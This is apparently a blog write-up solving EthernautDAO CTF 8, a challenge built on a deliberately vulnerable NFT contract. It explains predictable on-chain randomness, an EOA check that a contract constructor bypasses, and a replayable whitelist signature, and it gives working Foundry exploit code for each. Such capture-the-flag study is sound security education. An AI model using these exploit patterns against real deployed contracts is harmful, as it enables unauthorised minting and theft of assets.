EthernautDAO CTF 8 Solution — Vulnerable NFT

CTF 8: Vulnerable NFT

Study the contracts

Exploit imFeelingLucky function

function imFeelingLucky(
address to,
uint256 qty,
uint256 number
) external {
require(qty > 0 && qty <= MAX_TX, "Invalid quantity");
require(totalSupply + qty <= MAX_SUPPLY, "Max supply reached");
require(mintsPerWallet[to] + qty <= MAX_WALLET, "Max balance per wallet reached");
require((msg.sender).code.length == 0, "Only EOA allowed"); // aggirabile tramite minting da contract
uint256 randomNumber = uint256(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp, totalSupply))
) % 100; // calc it before calling it if it's a block we like
require(randomNumber == number, "Better luck next time!"); unchecked {
mintsPerWallet[to] += qty;
uint256 mintId = totalSupply;
totalSupply += qty;
for (uint256 i = 0; i < qty; i++) {
_safeMint(to, mintId++);
}
}
}
  • Check if number of NFT to be minted (qty) is less than the max number of mintable NFT per tx (MAX_TN defined as a contract's constant value)
  • Check if the number of NFT to be minted plus the totalSupply is less than or equal to the max number of mintable NFT (MAX_SUPPLY defined as a contract's constant value)
  • Check if the receiver account to has already reached the max number of mintable NFT (MAX_WALLET defined as a contract's constant value). Note that this mintsPerWallet[to] is only the number of NFT received by to during the minting process, if you look it's never updated in transfer/transferFrom functions.
  • Check that msg.sender is not a contract by looking at (msg.sender).code.length == 0. The function requires that the msg.sender is an EOA.
uint256 randomNumber = uint256(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp, totalSupply))
) % 100;
  • The usage of a pseudo-random number as if it were a real random number that the user could not guess before interacting with the contract
  • The check done to prevent contracts to mint NFTs

Exploit whitelistMint function

// only whitelisted wallets can mint
function whitelistMint(
address to,
uint256 qty,
bytes32 hash,
bytes memory signature
) external payable {
require(recoverSigner(hash, signature) == owner(), "Address is not allowlisted");
require(totalSupply + qty <= MAX_SUPPLY, "Max supply reached");
require(mintsPerWallet[to] + qty <= MAX_WALLET, "Max balance per wallet reached");
unchecked {
mintsPerWallet[to] += qty;
uint256 mintId = totalSupply;
totalSupply += qty;
for (uint256 i = 0; i < qty; i++) {
_safeMint(to, mintId++);
}
}
}
function recoverSigner(bytes32 hash, bytes memory signature) public pure returns (address) {
bytes32 messageDigest = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
return ECDSA.recover(messageDigest, signature);
}

Solution code

  • Create an Alchemy or Infura account to be able to fork the Goerli blockchain
  • Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
  • Run a foundry test that will use the fork to execute the test
contract Exploiter {
constructor(VNFT level) {
// randomNumber requested by the smart contract to be able to mint an NFT via `imFeelingLucky`
uint256 randomNumber = uint256(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp, level.totalSupply()))
) % 100;
// That's it, now we just need to call the contract with the same number it was expecting to see
level.imFeelingLucky(msg.sender, 1, randomNumber);
}
}
function testCompleteLevel() public {
address player = users[0];
vm.startPrank(player);
// assert that we do not own any VNFT
assertEq(level.balanceOf(player), 0);
////////////////////////////////////////////
// Exploiting whitelistMint function
////////////////////////////////////////////
bytes32 originalHash = bytes32(0xd54b100c13f0d0e7860323e08f5eeb1eac1eeeae8bf637506280f00acd457f54);
bytes
memory originalSignature = hex"f80b662a501d9843c0459883582f6bb8015785da6e589643c2e53691e7fd060c24f14ad798bfb8882e5109e2756b8443963af0848951cffbd1a0ba54a2034a951c";
level.whitelistMint(player, 1, originalHash, originalSignature);
assertEq(level.balanceOf(player), 1);
////////////////////////////////////////////
// Exploiting imFeelingLucky function
////////////////////////////////////////////
// Create a new Exploiter contract and run the exploit inside their `constructor`
new Exploiter(level);
// Assert we have
assertEq(level.balanceOf(player), 2);
vm.stopPrank();
}

Further reading

Disclaimer

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
StErMi

StErMi

802 Followers

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden